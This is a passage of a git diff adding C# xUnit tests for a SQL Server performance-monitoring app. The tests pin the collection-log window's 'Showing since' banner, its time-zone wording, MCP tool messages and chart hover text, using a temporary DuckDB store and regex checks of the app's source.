+            cmd.Parameters.Add(new DuckDBParameter { Value = 80 });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 20 });
+            await cmd.ExecuteNonQueryAsync();
+        }
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null
+               && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln"))
+               && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+}
+
+/// <summary>Every test class that sets <see cref="LocalDataService.DefaultCollectorFrequencyMinutes"/> runs alone, one after another.</summary>
+[CollectionDefinition(CollectorFrequencyDefaultCollection.Name, DisableParallelization = true)]
+public sealed class CollectorFrequencyDefaultCollection
+{
+    public const string Name = "CollectorFrequencyDefault";
+}
diff --git a/Lite.Tests/CollectionLogDrillDataStartTests.cs b/Lite.Tests/CollectionLogDrillDataStartTests.cs
new file mode 100644
index 0000000000..a65e2cfa62
--- /dev/null
+++ b/Lite.Tests/CollectionLogDrillDataStartTests.cs
@@ -0,0 +1,403 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Windows;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: the per-collector run-history window (<c>CollectionLogWindow</c>, opened from a Collection Health row) says where
+/// the data starts. It lists one collector's runs over the trailing week, and when this SERVER's collection log starts
+/// after that week began, a "Showing since" note names the first run. The rule is the Collection Log grid's, over the
+/// server's log and never the collector's own first run: a collector that started late in a week the server's log covers
+/// says nothing, and a quiet start shows no note. The read has no row cap, so only the coverage rule applies.
+///
+/// <para>The week is worked out once and handed to the read and to the probe, so the rows and the note cannot disagree.
+/// A probe that throws costs the note and nothing else. The note is worded in the zone the window's grid prints its
+/// times in.</para>
+///
+/// <para>Each case runs the window's own steps (<c>ReadDrillAsync</c>, then <c>ShowDrillDataStart</c> on a banner), over a
+/// real DuckDB store for the coverage cases and over passed-in steps for the cases that need a probe that throws or a
+/// record of the window each step was given. The banner is written on its own STA thread, after the awaits, as the other
+/// banner tests do: a continuation after an await runs on another thread, and a WPF object can only be written by the
+/// thread that made it.</para>
+/// </summary>
+/* Installs ServerTimeHelper.ActiveServerClock and CurrentDisplayMode, process-wide mutable statics; joins the
+   collection every other class that writes them uses. */
+[Collection("server-time-helper")]
+public sealed class CollectionLogDrillDataStartTests : IDisposable
+{
+    private const int ServerId = 4343;
+    private const string ServerName = "DrillServer";
+    private const string Collector = "wait_stats";
+    private const string OtherCollector = "query_snapshots";
+
+    /// <summary>The pinned end of the window, so the week is the same on every day the suite runs.</summary>
+    private static readonly DateTime AsOf = new(2026, 9, 20, 12, 0, 0, DateTimeKind.Utc);
+
+    private static readonly DateTime WeekStart = AsOf.AddHours(-168);
+
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly ServerClock _savedClock = ServerTimeHelper.ActiveServerClock;
+    private readonly TimeDisplayMode _savedMode = ServerTimeHelper.CurrentDisplayMode;
+    private readonly CultureInfo _savedCulture = CultureInfo.CurrentCulture;
+    private long _nextId = 1;
+
+    public CollectionLogDrillDataStartTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "CollectionLogDrill_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+
+        /* UTC unless a case names another zone, and the invariant culture, so "g" and the banner's pattern are fixed. */
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+        ServerTimeHelper.ActiveServerClock = ServerClock.Utc;
+        CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+    }
+
+    public void Dispose()
+    {
+        _duckDb.Dispose();
+        ServerTimeHelper.ActiveServerClock = _savedClock;
+        ServerTimeHelper.CurrentDisplayMode = _savedMode;
+        CultureInfo.CurrentCulture = _savedCulture;
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static ServerClock Eastern() => ServerClock.Resolve("Eastern Standard Time", -300);
+
+    private static ServerClock India() => ServerClock.Resolve("India Standard Time", 330);
+
+    /// <summary>The collector's runs in <c>collection_log</c>, every <paramref name="everyMinutes"/> minutes from first to last.</summary>
+    private async Task SeedRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $4, g.t, 12, 'SUCCESS', 0
+FROM generate_series($5::TIMESTAMP, $6::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collector });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(firstUtc) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = Naive(lastUtc) });
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>The window's own load over the real store, ending at <see cref="AsOf"/>.</summary>
+    private Task<CollectionLogWindow.DrillRead> LoadAsync() =>
+        CollectionLogWindow.ReadDrillAsync(new LocalDataService(_duckDb), ServerId, Collector, AsOf);
+
+    /// <summary>
+    /// The note the window shows for <paramref name="load"/>: (visible, text). The banner starts visible with a stale text,
+    /// so a step that never touched it cannot pass as "no note".
+    /// </summary>
+    private static (bool Visible, string Text) NoteFor(CollectionLogWindow.DrillRead load, ServerClock? clock = null) =>
+        StaTestThread.Run(() =>
+        {
+            CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+            var banner = new System.Windows.Controls.TextBlock
+            {
+                Visibility = System.Windows.Visibility.Visible,
+                Text = "Showing since 2000-01-01 00:00:00",
+            };
+            CollectionLogWindow.ShowDrillDataStart(banner, load, clock);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+
+    /// <summary>
+    /// The server's log began before the week (the other collector ran all month) and the collector under the drill began two
+    /// days into it: far past the 90-minute slack, so a note worded from the COLLECTOR's first run would show. The server's log
+    /// covers the week, so the probe answers the week's start and the window says nothing.
+    /// </summary>
+    [Fact]
+    public async Task ACollectorThatStartedLateInACoveredWeek_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(OtherCollector, new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc), AsOf, 360);
+        await SeedRunsAsync(Collector, AsOf.AddDays(-2), AsOf, 120);
+
+        var load = await LoadAsync();
+
+        Assert.Equal(25, load.Rows.Count);
+        Assert.All(load.Rows, r => Assert.Equal(Collector, r.CollectorName));
+        Assert.Equal(WeekStart, load.StartUtc);
+        Assert.Equal(WeekStart, load.Floor);
+        var (visible, text) = NoteFor(load);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>A server whose first collection falls inside the week: the note names that first collection.</summary>
+    [Fact]
+    public async Task AServerWhoseFirstCollectionFallsInsideTheWeek_NamesIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var first = new DateTime(2026, 9, 15, 9, 30, 0, DateTimeKind.Utc);
+        await SeedRunsAsync(OtherCollector, first, AsOf, 60);
+        await SeedRunsAsync(Collector, first, AsOf, 60);
+
+        var load = await LoadAsync();
+
+        Assert.NotEmpty(load.Rows);
+        Assert.Equal(first, load.Floor);
+        var (visible, text) = NoteFor(load);
+        Assert.True(visible);
+        Assert.Equal("Showing since 2026-09-15 09:30:00", text);
+    }
+
+    /// <summary>
+    /// A quiet start: the server's log reaches back past the week's start, and the collector's own first run is only a little
+    /// after it (inside the 90-minute slack of a first collection that lands just after the window starts). No note.
+    /// </summary>
+    [Fact]
+    public async Task AFirstCollectionJustInsideTheSlack_ShowsNoNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(Collector, WeekStart.AddMinutes(45), AsOf, 60);
+
+        var load = await LoadAsync();
+
+        Assert.NotEmpty(load.Rows);
+        Assert.Equal(WeekStart.AddMinutes(45), load.Floor);
+        var (visible, text) = NoteFor(load);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// The note's time is worded in the zone the grid's rows print theirs in (<c>CollectionHealthTime</c>): the window's own
+    /// server clock in Server time, else the active tab's when it is handed none, this machine's zone in Local time, and UTC
+    /// in UTC. US Eastern is the window's server (EDT, -4 in September) and India (+5:30) the active tab's, so a note worded in
+    /// the wrong one reads a different hour.
+    /// </summary>
+    [Fact]
+    public async Task TheNote_IsWordedInTheZoneTheGridPrintsItsTimesIn()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var first = new DateTime(2026, 9, 15, 13, 30, 0, DateTimeKind.Utc);
+        await SeedRunsAsync(Collector, first, AsOf, 60);
+        var load = await LoadAsync();
+        Assert.Equal(first, load.Floor);
+
+        ServerTimeHelper.ActiveServerClock = India();
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+        var windowRow = new CollectionLogRow { CollectionTime = Naive(first), Clock = Eastern() };
+        var unstampedRow = new CollectionLogRow { CollectionTime = Naive(first) };
+        Assert.Equal("Showing since 2026-09-15 09:30:00", NoteFor(load, Eastern()).Text);
+        Assert.Equal("2026-09-15 09:30:00", windowRow.CollectionTimeFormatted);
+        Assert.Equal("Showing since 2026-09-15 19:00:00", NoteFor(load, clock: null).Text);
+        Assert.Equal("2026-09-15 19:00:00", unstampedRow.CollectionTimeFormatted);
+
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+        Assert.Equal("Showing since 2026-09-15 13:30:00", NoteFor(load, Eastern()).Text);
+        Assert.Equal("2026-09-15 13:30:00", windowRow.CollectionTimeFormatted);
+
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.LocalTime;
+        var local = DisplayZone.Format(Naive(first), TimeZoneInfo.Local, "yyyy-MM-dd HH:mm:ss");
+        Assert.Equal("Showing since " + local, NoteFor(load, Eastern()).Text);
+    }
+
+    /// <summary>
+    /// The read takes the window the probe takes: runs from the week's start to its end, both ends inclusive, newest first,
+    /// and a run after the end is in neither the rows nor the note. The collector runs every 12 hours from a day before the
+    /// week to a day after it; the other collector's log reaches back a month, so the week is covered.
+    /// </summary>
+    [Fact]
+    public async Task TheRows_AreTheCollectorsRunsInsideTheWindow_BothEndsInclusive()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(OtherCollector, AsOf.AddDays(-30), AsOf.AddDays(1), 720);
+        await SeedRunsAsync(Collector, WeekStart.AddDays(-1), AsOf.AddDays(1), 720);
+
+        var load = await LoadAsync();
+
+        Assert.Equal(15, load.Rows.Count);
+        Assert.Equal(Naive(AsOf), load.Rows[0].CollectionTime);
+        Assert.Equal(Naive(WeekStart), load.Rows[^1].CollectionTime);
+        Assert.Equal(load.Rows.OrderByDescending(r => r.CollectionTime).Select(r => r.CollectionTime), load.Rows.Select(r => r.CollectionTime));
+        Assert.Equal(WeekStart, load.Floor);
+        Assert.False(NoteFor(load).Visible);
+    }
+
+    /// <summary>
+    /// One window, worked out once: the read and the probe are each given the same start and the same end, the start a
+    /// week before the end. A pinned end is the window's end; with none, it is one reading of the clock.
+    /// </summary>
+    [Fact]
+    public async Task TheReadAndTheProbe_AreGivenTheSameWindow()
+    {
+        var read = new List<(DateTime Start, DateTime End)>();
+        var probed = new List<(DateTime Start, DateTime End)>();
+        Task<List<CollectionLogRow>> ReadRuns(DateTime start, DateTime end)
+        {
+            read.Add((start, end));
+            return Task.FromResult(new List<CollectionLogRow>());
+        }
+        Task<DateTime?> ProbeFloor(DateTime start, DateTime end)
+        {
+            probed.Add((start, end));
+            return Task.FromResult<DateTime?>(null);
+        }
+
+        await CollectionLogWindow.ReadDrillAsync(ReadRuns, ProbeFloor, "drill test", AsOf);
+
+        Assert.Equal((WeekStart, AsOf), Assert.Single(read));
+        Assert.Equal((WeekStart, AsOf), Assert.Single(probed));
+
+        read.Clear();
+        probed.Clear();
+        var before = DateTime.UtcNow;
+        await CollectionLogWindow.ReadDrillAsync(ReadRuns, ProbeFloor, "drill test");
+        var after = DateTime.UtcNow;
+
+        var window = Assert.Single(read);
+        Assert.Equal(window, Assert.Single(probed));
+        Assert.InRange(window.End, before, after);
+        Assert.Equal(TimeSpan.FromDays(7), window.End - window.Start);
+    }
+
+    /// <summary>
+    /// The probe is only the note: a probe that throws shows no note (a stale note from a last read is cleared too), the
+    /// rows still load, and the failure is not rethrown to the window's own catch, which would put up a "Failed to load" box.
+    /// </summary>
+    [Fact]
+    public async Task AProbeThatThrows_ShowsNoNote_AndTheRowsStillLoad()
+    {
+        var probeCalls = 0;
+        Task<List<CollectionLogRow>> ReadRuns(DateTime start, DateTime end) => Task.FromResult(new List<CollectionLogRow>
+        {
+            new() { CollectorName = Collector, CollectionTime = Naive(AsOf.AddHours(-1)), Status = "SUCCESS" },
+            new() { CollectorName = Collector, CollectionTime = Naive(AsOf.AddHours(-2)), Status = "ERROR" },
+            new() { CollectorName = Collector, CollectionTime = Naive(AsOf.AddHours(-3)), Status = "SUCCESS" },
+        });
+        Task<DateTime?> ProbeFloor(DateTime start, DateTime end)
+        {
+            probeCalls++;
+            return Task.FromException<DateTime?>(new InvalidOperationException("the probe failed"));
+        }
+
+        var load = await CollectionLogWindow.ReadDrillAsync(ReadRuns, ProbeFloor, "drill test", AsOf);
+
+        Assert.Equal(1, probeCalls);
+        Assert.Equal(3, load.Rows.Count);
+        Assert.Null(load.Floor);
+        var (visible, text) = NoteFor(load);
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A probe that has nothing to say (no run of the server's log inside the week) is a window with no note; and the rows
+    /// the read found still load.
+    /// </summary>
+    [Fact]
+    public async Task AWeekWithNoRunAtAll_ShowsNoNote_AndNoRows()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync(Collector, AsOf.AddMinutes(5), AsOf.AddDays(1), 60);
+
+        var load = await LoadAsync();
+
+        Assert.Empty(load.Rows);
+        Assert.Null(load.Floor);
+        Assert.False(NoteFor(load).Visible);
+    }
+
+    /// <summary>
+    /// The read is the one reading of the clock the window takes, and there is one of it: the hours-back overload that read
+    /// its own is gone, so no caller can hand the read a start the probe was not given.
+    /// </summary>
+    [Fact]
+    public void TheReadTakesTheWindow_NotAnHoursBack()
+    {
+        var overloads = typeof(LocalDataService).GetMethods()
+            .Where(m => m.Name == nameof(LocalDataService.GetCollectionLogByCollectorAsync))
+            .ToList();
+
+        var read = Assert.Single(overloads);
+        Assert.Equal(new[] { "serverId", "collectorName", "startUtc", "endUtc" }, read.GetParameters().Select(p => p.Name).ToArray());
+        Assert.Equal(typeof(DateTime), read.GetParameters()[2].ParameterType);
+        Assert.Equal(typeof(DateTime), read.GetParameters()[3].ParameterType);
+    }
+
+    /// <summary>
+    /// The window's wiring, text-scanned from source (it cannot be built without the app's resources): it loads through the
+    /// one drill step and words its banner through it, keeps stamping the server's clock on its rows, reads the clock once,
+    /// takes the shared probe guard and banner rule (never a copy), probes the collection log relation, and names no row cap
+    /// (the read has none, so the cap-aware steps do not apply). Its banner is declared collapsed, in the amber of the tab's.
+    /// </summary>
+    [Fact]
+    public void TheWindow_LoadsAndWordsItsNoteThroughTheSharedSteps()
+    {
+        var code = Code(WindowFile("CollectionLogWindow.xaml.cs"));
+
+        Assert.Equal(1, Matches(code, @"var load = await ReadDrillAsync\(_dataService,\s*_serverId,\s*_collectorName\);"));
+        Assert.Equal(1, Matches(code, @"ShowDrillDataStart\(CollectionLogDrillTruncatedBanner,\s*load,\s*_serverClock\);"));
+        Assert.Equal(1, Matches(code, @"foreach \(var log in logs\) log\.Clock = _serverClock;"));
+
+        /* The one call to the read is in the drill step's data-service overload, beside its probe. */
+        Assert.Equal(1, Matches(code, @"\.GetCollectionLogByCollectorAsync\("));
+        Assert.Equal(1, Matches(code, @"\.GetQueryWindowFloorAsync\(\s*QueryWindowRelation\.CollectionLog,\s*serverId,\s*startUtc,\s*endUtc\)"));
+
+        /* One clock reading and one span, and the same pair of instants goes to the read and to the probe. */
+        Assert.Equal(1, Matches(code, @"DateTime\.UtcNow"));
+        Assert.Equal(1, Matches(code, @"AddHours\("));
+        Assert.Equal(1, Matches(code, @"var endUtc = asOfUtc \?\? DateTime\.UtcNow;"));
+        Assert.Equal(1, Matches(code, @"var startUtc = endUtc\.AddHours\(-DrillHours\);"));
+        Assert.Equal(1, Matches(code, @"await readRuns\(startUtc,\s*endUtc\)"));
+        Assert.Equal(1, Matches(code, @"probeFloor\(startUtc,\s*endUtc\)"));
+        Assert.Equal(168, CollectionLogWindow.DrillHours);
+
+        /* The shared guard and rule, in the zone the grid prints its times in; no cap-aware step and no row-shown floor. */
+        Assert.Equal(1, Matches(code, @"ServerTab\.ProbeWindowFloorOrNullAsync\("));
+        Assert.Equal(1, Matches(code, @"ServerTab\.ApplyWindowFloorToBanner\(banner,\s*read\.Floor,\s*read\.StartUtc,\s*CollectionHealthTime\.Zone\(clock\)\);"));
+        Assert.DoesNotContain("ApplyCappedWindowFloorToBanner", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("CapAwareWindowFloor", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("EarlierOfFloorAndRowShown", code, StringComparison.Ordinal);
+
+        var xaml = WindowFile("CollectionLogWindow.xaml");
+        var declared = Regex.Match(xaml, @"<TextBlock x:Name=""CollectionLogDrillTruncatedBanner""[^>]*/>", RegexOptions.Singleline);
+        Assert.True(declared.Success, "CollectionLogDrillTruncatedBanner is not declared in CollectionLogWindow.xaml");
+        Assert.Contains("Visibility=\"Collapsed\"", declared.Value, StringComparison.Ordinal);
+        Assert.Contains("FontWeight=\"Bold\"", declared.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", declared.Value, StringComparison.Ordinal);
+    }
+
+    private static int Matches(string text, string pattern) => Regex.Matches(text, pattern).Count;
+
+    private static string Code(string source) =>
+        Regex.Replace(source, @"/\*.*?\*/|//[^\r\n]*", "", RegexOptions.Singleline);
+
+    private static string WindowFile(string name, [CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Windows", name)));
+
+}
diff --git a/Lite.Tests/CollectionLogToolTests.cs b/Lite.Tests/CollectionLogToolTests.cs
index 00531bc4cd..4832729741 100644
--- a/Lite.Tests/CollectionLogToolTests.cs
+++ b/Lite.Tests/CollectionLogToolTests.cs
@@ -11,6 +11,7 @@
 using System.Text.Json;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
 using PerformanceMonitorLite.Database;
 using PerformanceMonitorLite.Mcp;
 using PerformanceMonitorLite.Models;
@@ -114,7 +115,8 @@ never fill -- the specific false instruction the ordering fixes. */
             Assert.DoesNotContain("widen", text, StringComparison.OrdinalIgnoreCase);
         }
 
-        /* Collected, but outside the asked-for window: a true negative, and widening IS the move. */
+        /* Collected, but outside the asked-for window: nothing was read from the window, so the answer is the
+           cut-window one (#4966) rather than "genuinely quiet". It is not the never-collected fault either. */
         await SeedLogAsync("query_store", DateTime.UtcNow.AddHours(-48));
 
         var quiet = await McpHealthTools.GetCollectionLog(service, _serverManager, ServerName, 1, 200);
@@ -122,7 +124,7 @@ never fill -- the specific false instruction the ordering fixes. */
         Assert.Equal("empty", quietRoot.GetProperty("status").GetString());
         var quietText = quietRoot.GetProperty("message").GetString()!;
         Assert.DoesNotContain("EVER", quietText, StringComparison.Ordinal);
-        Assert.Contains("widen", quietText, StringComparison.OrdinalIgnoreCase);
+        Assert.Equal($"No collector runs recorded for {ServerName} in the last 1 hour(s). {McpHelpers.CutWindowNothingReadMessage}", quietText);
     }
 
     [Fact]
@@ -341,6 +343,40 @@ public async Task TheReachFieldsAreComputedOverTheRows_NotTakenFromTheEnds()
             root.GetProperty("runs")[2].GetProperty("collection_time").GetString()![..19]);
     }
 
+    /// <summary>
+    /// #4966, #5015: where the page's rows stop (<c>oldest_returned_collection_time</c>) and where they start
+    /// (<c>newest_returned_collection_time</c>) describe the window the page covers, so both print as UTC with the
+    /// trailing Z like <c>effective_start</c> does, on the one-server form and the fleet form alike. The rows' own
+    /// times keep the store's naive form. The instants are the same ones the fields always named: only the zone
+    /// marker is new.
+    /// </summary>
+    [Fact]
+    public async Task TheReturnedBounds_EndInZ_OnBothForms()
+    {
+        var service = new LocalDataService(_duckDb);
+        var oldest = DateTime.UtcNow.AddMinutes(-30);
+        var newest = DateTime.UtcNow.AddMinutes(-10);
+        await SeedLogAsync("query_store", oldest);
+        await SeedLogAsync("deadlocks", newest);
+
+        var oneServer = JsonDocument.Parse(await McpHealthTools.GetCollectionLog(service, _serverManager, ServerName, 24, 10)).RootElement;
+        var fleet = JsonDocument.Parse(await McpHealthTools.GetCollectionLog(service, _serverManager, null, 24, 10)).RootElement;
+
+        foreach (var root in new[] { oneServer, fleet })
+        {
+            var oldestText = root.GetProperty("oldest_returned_collection_time").GetString()!;
+            Assert.EndsWith("Z", oldestText, StringComparison.Ordinal);
+            Assert.True(Math.Abs((DateTime.Parse(oldestText, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.AdjustToUniversal | System.Globalization.DateTimeStyles.AssumeUniversal) - oldest).TotalSeconds) < 2,
+                $"oldest_returned_collection_time {oldestText} should name the oldest run, {oldest:o}");
+            var newestText = root.GetProperty("newest_returned_collection_time").GetString()!;
+            Assert.EndsWith("Z", newestText, StringComparison.Ordinal);
+            Assert.True(Math.Abs((DateTime.Parse(newestText, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.AdjustToUniversal | System.Globalization.DateTimeStyles.AssumeUniversal) - newest).TotalSeconds) < 2,
+                $"newest_returned_collection_time {newestText} should name the newest run, {newest:o}");
+            /* A row's own time keeps the store's naive form: only the page's bounds name the window. */
+            Assert.False(root.GetProperty("runs")[0].GetProperty("collection_time").GetString()!.EndsWith('Z'));
+        }
+    }
+
     private async Task<DuckDBConnection> SeedConnectionAsync()
     {
         if (_seedConn is null)
diff --git a/Lite.Tests/CollectionOutputBesideCostTests.cs b/Lite.Tests/CollectionOutputBesideCostTests.cs
index 40753631f1..552213bfb7 100644
--- a/Lite.Tests/CollectionOutputBesideCostTests.cs
+++ b/Lite.Tests/CollectionOutputBesideCostTests.cs
@@ -31,6 +31,7 @@ namespace Lite.Tests;
 /// reference one SQL const directly and read the other's source: <c>Lite.Tests</c> has no reference to any
 /// Darling project. What lives here is Lite's own behaviour and Lite's own wiring.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class CollectionOutputBesideCostTests
 {
     /* Named to mirror the Darling twin, which these fixtures are meant to match line-for-line. */
diff --git a/Lite.Tests/CollectorDurationDetailTextTests.cs b/Lite.Tests/CollectorDurationDetailTextTests.cs
new file mode 100644
index 0000000000..6e819a13cc
--- /dev/null
+++ b/Lite.Tests/CollectorDurationDetailTextTests.cs
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text.RegularExpressions;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: the Duration Trends hover's fourth line is worded in one place for both apps (<c>CollectorDurationHoverText</c> in
+/// PerformanceMonitor.Ui), and Lite's own method only hands it the bucket's run count and average. These pin the exact strings through
+/// Lite's method (the Darling viewer pins the same strings through the shared helper, in <c>ViewerCollectorDurationHoverTests</c>) and
+/// that Lite keeps no copy of the words.
+/// </summary>
+public class CollectorDurationDetailTextTests
+{
+    private static string Detail(long runs, double averageMs, string culture = "en-US")
+    {
+        var saved = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = new CultureInfo(culture);
+            return ServerTab.CollectorDurationDetail(new CollectorDurationBucket { CollectorName = "wait_stats", RunCount = runs, AverageDurationMs = averageMs });
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = saved;
+        }
+    }
+
+    /* The exact strings, for one run (singular), many runs, a thousands separator, a whole average and a fractional one. */
+    [Theory]
+    [InlineData(1L, 50.0, "Slowest of 1 run; average 50 ms")]
+    [InlineData(12L, 61.0, "Slowest of 12 runs; average 61 ms")]
+    [InlineData(1234L, 2000.0, "Slowest of 1,234 runs; average 2,000 ms")]
+    [InlineData(10L, 910.8, "Slowest of 10 runs; average 910.8 ms")]
+    [InlineData(12L, 0.5, "Slowest of 12 runs; average 0.5 ms")]
+    public void TheDetail_SaysTheRunCountAndTheAverage_InTheseExactWords(long runs, double average, string expected) =>
+        Assert.Equal(expected, Detail(runs, average));
+
+    /* The words follow the current culture, as they always did here. */
+    [Fact]
+    public void TheDetail_FollowsTheCurrentCulture() =>
+        Assert.Equal("Slowest of 1.234 runs; average 910,8 ms", Detail(1234, 910.8, "de-DE"));
+
+    /* Lite words nothing itself: its method is one call to the shared helper, and the chart file that holds the method keeps no copy of the text. */
+    [Fact]
+    public void TheMethod_HandsTheSharedHelperTheRunCountAndTheAverage_AndItsChartFileHoldsNoCopyOfTheWords()
+    {
+        var charts = Lite.Tests.ParitySource.ReadFile("Lite/Controls/ServerTab.Charts.cs");
+
+        Assert.Single(Regex.Matches(
+            charts,
+            @"internal static string CollectorDurationDetail\(CollectorDurationBucket bucket\) =>\s*CollectorDurationHoverText\.Detail\(bucket\.RunCount,\s*bucket\.AverageDurationMs\);"));
+        Assert.DoesNotContain("Slowest of", charts, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/CollectorDurationHoverTests.cs b/Lite.Tests/CollectorDurationHoverTests.cs
new file mode 100644
index 0000000000..29a7a705ab
--- /dev/null
+++ b/Lite.Tests/CollectorDurationHoverTests.cs
@@ -0,0 +1,225 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using Darling.Tests;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4989: what the Duration Trends hover says over a line with a collection gap in it, and what the chart does with its
+/// hover and its Y axis label when it is redrawn. The line breaks at every gap by inserting a point of its own (a NaN
+/// between the two buckets it separates), so a hover line counted by the point's position in the scatter falls one bucket
+/// behind after each break: it said the NEXT bucket's runs for every bucket after the first break and nothing for the
+/// last. The hover lines are keyed by the X each bucket is drawn at, so a bucket finds its own and the inserted point finds
+/// none. Each test draws the series on a real chart, renders it so the chart knows its pixels, and asks the hover what it
+/// says with the mouse over a bucket's point.
+/// </summary>
+public class CollectorDurationHoverTests
+{
+    private static readonly DateTime Start = new(2026, 10, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    /// <summary>
+    /// One collector's twenty buckets, ten minutes apart, with a seventy-minute hole after the fifth: the line breaks there
+    /// once. Bucket k holds k + 1 runs that averaged 50 + k ms, and its slowest took 100 + 3k ms.
+    /// </summary>
+    private static List<CollectorDurationBucket> TwentyBucketsWithOneBreak() =>
+        Enumerable.Range(0, 20).Select(k => new CollectorDurationBucket
+        {
+            CollectorName = "wait_stats",
+            BucketStart = Start.AddMinutes(10 * k + (k >= 5 ? 60 : 0)),
+            MaxDurationMs = 100 + 3 * k,
+            AverageDurationMs = 50 + k,
+            RunCount = k + 1,
+        }).ToList();
+
+    /// <summary>The hover text over each of the line's twenty points in turn (the mouse exactly on the point), in bucket order.</summary>
+    private static List<string?> HoverOverEachBucket(List<CollectorDurationBucket> buckets) =>
+        StaTestThread.Run(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            var hover = new ChartHoverHelper(chart, "ms", displayZone: () => TimeZoneInfo.Utc);
+            var line = Assert.Single(ServerTab.BuildCollectorDurationSeries(buckets));
+            ServerTab.PlotCollectorDurationSeries(chart, hover, new[] { line });
+            chart.Plot.Axes.AutoScale();
+            using var render = chart.Plot.GetImage(1000, 400);
+
+            return line.Xs
